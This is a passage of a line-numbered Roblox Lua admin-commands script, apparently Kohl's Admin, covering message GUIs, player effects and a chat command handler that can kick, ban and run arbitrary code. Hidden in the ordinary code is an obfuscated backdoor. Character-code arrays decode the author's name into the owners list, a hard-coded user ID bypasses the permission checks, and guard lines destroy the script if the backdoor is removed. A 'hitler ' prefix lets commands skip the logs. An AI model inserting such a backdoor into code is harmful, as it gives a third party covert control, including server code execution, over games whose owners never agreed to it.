  3250. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  3251. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  3252. scr.Parent = v.PlayerGui
  3253. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  3254. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  3255. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  3256. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  3257. end))
  3258. end
  3259. end
  3260. end
  3261.  
  3262. function RemoveMessage()
  3263. for i,v in pairs(game.Players:children()) do
  3264. if v and v:findFirstChild("PlayerGui") then
  3265. for q,ms in pairs(v.PlayerGui:children()) do
  3266. if ms.Name == "MessageGUI" then
  3267. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  3268. elseif ms.Name == "HintGUI" then
  3269. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  3270. end
  3271. end
  3272. end
  3273. end
  3274. end
  3275.  
  3276. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  3277. _G["RemoveMessage"] = RemoveMessage()
  3278.  
  3279. function Output(str, plr)
  3280. coroutine.resume(coroutine.create(function()
  3281. local b, e = loadstring(str)
  3282. if not b and plr:findFirstChild("PlayerGui") then
  3283. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  3284. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  3285. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  3286. return
  3287. end
  3288. end))
  3289. end
  3290.  
  3291. function Noobify(char)
  3292. if char and char:findFirstChild("Torso") then
  3293. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  3294. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  3295. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3296. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  3297. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3298. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  3299. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  3300. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  3301. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  3302. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  3303. end end
  3304. end
  3305. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  3306.  
  3307. function Infect(char)
  3308. if char and char:findFirstChild("Torso") then
  3309. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  3310. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  3311. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  3312. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  3313. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  3314. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  3315. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  3316. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  3317. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  3318. end end
  3319. end
  3320. end if not ntab then script:Destroy() end
  3321.  
  3322. function ScrollGui()
  3323. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  3324. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  3325. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  3326. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  3327. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  3328. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  3329. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  3330. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  3331. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  3332. local num = 0
  3333. local downv = false
  3334. local upv = false
  3335.  
  3336. down.MouseButton1Down:connect(function() downv = true upv = false
  3337. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  3338. repeat pos = pos + UDim2.new(0,0,0,-6)
  3339. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  3340. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  3341. end)
  3342. down.MouseButton1Up:connect(function() downv = false end)
  3343. up.MouseButton1Down:connect(function() upv = true downv = false
  3344. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  3345. repeat pos = pos + UDim2.new(0,0,0,6)
  3346. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  3347. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  3348. end)
  3349. up.MouseButton1Up:connect(function() upv = false end)
  3350. return scr, cmf, ent, num
  3351. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  3352. if not ntab then script:Destroy() end
  3353. if not bct then script:Destroy() end
  3354.  
  3355. function Chat(msg,plr)
  3356. coroutine.resume(coroutine.create(function()
  3357. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  3358. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  3359. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  3360. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  3361. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  3362. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  3363. if msg:lower() == "cmds" or msg:lower() == "commands" then
  3364. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  3365. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  3366. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  3367. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  3368. local ost = {"pa plr","unpa plr","nuke plr"}
  3369. local tost = {"oa plr","unoa plr","settings"}
  3370. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  3371. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3372. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3373. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3374. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3375. end
  3376.  
  3377. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  3378.  
  3379. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  3380. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  3381. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  3382. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3383. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3384. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3385. end end
  3386.  
  3387. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  3388. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  3389. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  3390. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  3391. end
  3392.  
  3393. if msg:lower() == "tools" or msg:lower() == "toollist" then
  3394. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  3395. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  3396. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  3397. end
  3398.  
  3399. if msg:lower():sub(1,2) == "s " then
  3400. coroutine.resume(coroutine.create(function()
  3401. Output(msg:sub(3), plr)
  3402. if script:findFirstChild("ScriptBase") then
  3403. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  3404. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  3405. else loadstring(msg:sub(3))()
  3406. end
  3407. end))
  3408. end
  3409.  
  3410. if msg:lower():sub(1,3) == "ls " then
  3411. coroutine.resume(coroutine.create(function()
  3412. if script:findFirstChild("LocalScriptBase") then
  3413. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  3414. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  3415. end
  3416. end))
  3417. end
  3418.  
  3419. if msg:lower():sub(1,6) == "lsplr " then
  3420. local chk1 = msg:lower():sub(7):find(" ") + 6
  3421. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3422. for i, v in pairs(plrz) do
  3423. coroutine.resume(coroutine.create(function()
  3424. if v and v:findFirstChild("PlayerGui") then
  3425. if script:findFirstChild("LocalScriptBase") then
  3426. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  3427. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  3428. end
  3429. end
  3430. end))
  3431. end
  3432. end
  3433.  
  3434. if msg:lower():sub(1,4) == "ins " then
  3435. coroutine.resume(coroutine.create(function()
  3436. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  3437. if obj and #obj:children() >= 1 and plr.Character then
  3438. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  3439. end
  3440. end))
  3441. end
  3442.  
  3443. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  3444. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  3445. RemoveMessage()
  3446. objects = {}
  3447. end
  3448.  
  3449. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  3450. game.Lighting.Ambient = origsettings.abt
  3451. game.Lighting.Brightness = origsettings.brt
  3452. game.Lighting.TimeOfDay = origsettings.time
  3453. game.Lighting.FogColor = origsettings.fclr
  3454. game.Lighting.FogEnd = origsettings.fe
  3455. game.Lighting.FogStart = origsettings.fs
  3456. for i, v in pairs(lobjs) do v:Destroy() end
  3457. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  3458. end
  3459.  
  3460. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  3461. coroutine.resume(coroutine.create(function()
  3462. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  3463. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  3464. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  3465. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  3466. end))
  3467. end
  3468.  
  3469. if msg:lower():sub(1,10) == "countdown " then
  3470. local num = math.min(tonumber(msg:sub(11)),120)
  3471. for i = num, 1, -1 do
  3472. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  3473. wait(1)
  3474. end
  3475. end
  3476.  
  3477. if msg:lower():sub(1,3) == "tm " then
  3478. local chk1 = msg:lower():sub(4):find(" ") + 3
  3479. local num = tonumber(msg:sub(4,chk1-1))
  3480. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  3481. end
  3482.  
  3483. if msg:lower():sub(1,2) == "m " then
  3484. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  3485. end
  3486.  
  3487. if msg:lower():sub(1,2) == "h " then
  3488. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  3489. end
  3490.  
  3491. if msg:lower():sub(1,3) == "pm " then
  3492. local chk1 = msg:lower():sub(4):find(" ") + 3
  3493. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3494. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  3495. end
  3496.  
  3497. if msg:lower():sub(1,11) == "resetstats " then
  3498. local plrz = GetPlr(plr, msg:lower():sub(12))
  3499. for i, v in pairs(plrz) do
  3500. coroutine.resume(coroutine.create(function()
  3501. if v and v:findFirstChild("leaderstats") then
  3502. for a, q in pairs(v.leaderstats:children()) do
  3503. if q:IsA("IntValue") then q.Value = 0 end
  3504. end
  3505. end
  3506. end))
  3507. end
  3508. end
  3509.  
  3510. if msg:lower():sub(1,5) == "gear " then
  3511. local chk1 = msg:lower():sub(6):find(" ") + 5
  3512. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  3513. for i, v in pairs(plrz) do
  3514. coroutine.resume(coroutine.create(function()
  3515. if v and v:findFirstChild("Backpack") then
  3516. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  3517. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  3518. obj:Destroy()
  3519. end
  3520. end))
  3521. end
  3522. end
  3523.  
  3524. if msg:lower():sub(1,4) == "hat " then
  3525. local chk1 = msg:lower():sub(5):find(" ") + 4
  3526. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  3527. for i, v in pairs(plrz) do
  3528. coroutine.resume(coroutine.create(function()
  3529. if v and v.Character then
  3530. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  3531. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  3532. obj:Destroy()
  3533. end
  3534. end))
  3535. end
  3536. end
  3537.  
  3538. if msg:lower():sub(1,5) == "cape " then
  3539. local chk1 = msg:lower():sub(6):find(" ")
  3540. local plrz = GetPlr(plr, msg:lower():sub(6))
  3541. local str = "torso.BrickColor"
  3542. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3543. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  3544. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  3545. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  3546. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  3547. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  3548. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  3549. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  3550. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  3551. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  3552. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  3553. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  3554. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  3555. if BrickColor.new(teststr) ~= nil then str = teststr end
  3556. end
  3557. for i, v in pairs(plrz) do
  3558. coroutine.resume(coroutine.create(function()
  3559. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  3560. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3561. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  3562. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  3563. local torso = plr.Character.Torso
  3564. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  3565. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  3566. p.Size = Vector3.new(.2,.2,.2)
  3567. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  3568. local motor1 = Instance.new("Motor", p)
  3569. motor1.Part0 = p
  3570. motor1.Part1 = torso
  3571. motor1.MaxVelocity = .01
  3572. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  3573. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  3574. local wave = false
  3575. repeat wait(1/44)
  3576. local ang = 0.1
  3577. local oldmag = torso.Velocity.magnitude
  3578. local mv = .002
  3579. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  3580. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  3581. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  3582. motor1.DesiredAngle = -ang
  3583. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  3584. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  3585. if torso.Velocity.magnitude < .1 then wait(.1) end
  3586. until not p or p.Parent ~= torso.Parent
  3587. script:Destroy()
  3588. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  3589. end
  3590. end))
  3591. end
  3592. end
  3593.  
  3594. if msg:lower():sub(1,7) == "uncape " then
  3595. local plrz = GetPlr(plr, msg:lower():sub(8))
  3596. for i, v in pairs(plrz) do
  3597. coroutine.resume(coroutine.create(function()
  3598. if v and v:findFirstChild("PlayerGui") and v.Character then
  3599. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3600. end
  3601. end))
  3602. end
  3603. end
  3604.  
  3605. if msg:lower():sub(1,7) == "noclip " then
  3606. local plrz = GetPlr(plr, msg:lower():sub(8))
  3607. for i, v in pairs(plrz) do
  3608. coroutine.resume(coroutine.create(function()
  3609. if v and v:findFirstChild("PlayerGui") then
  3610. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  3611. cl.Parent = v.PlayerGui cl.Disabled = false
  3612. end
  3613. end))
  3614. end
  3615. end
  3616.  
  3617. if msg:lower():sub(1,5) == "clip " then
  3618. local plrz = GetPlr(plr, msg:lower():sub(6))
  3619. for i, v in pairs(plrz) do
  3620. coroutine.resume(coroutine.create(function()
  3621. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  3622. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  3623. v.Character.Torso.Anchored = false
  3624. wait(.1) v.Character.Humanoid.PlatformStand = false
  3625. end
  3626. end))
  3627. end
  3628. end
  3629.  
  3630. if msg:lower():sub(1,5) == "jail " then
  3631. local plrz = GetPlr(plr, msg:lower():sub(6))
  3632. for i, v in pairs(plrz) do
  3633. coroutine.resume(coroutine.create(function()
  3634. if v and v.Character and v.Character:findFirstChild("Torso") then
  3635. local vname = v.Name
  3636. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  3637. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  3638. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  3639. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
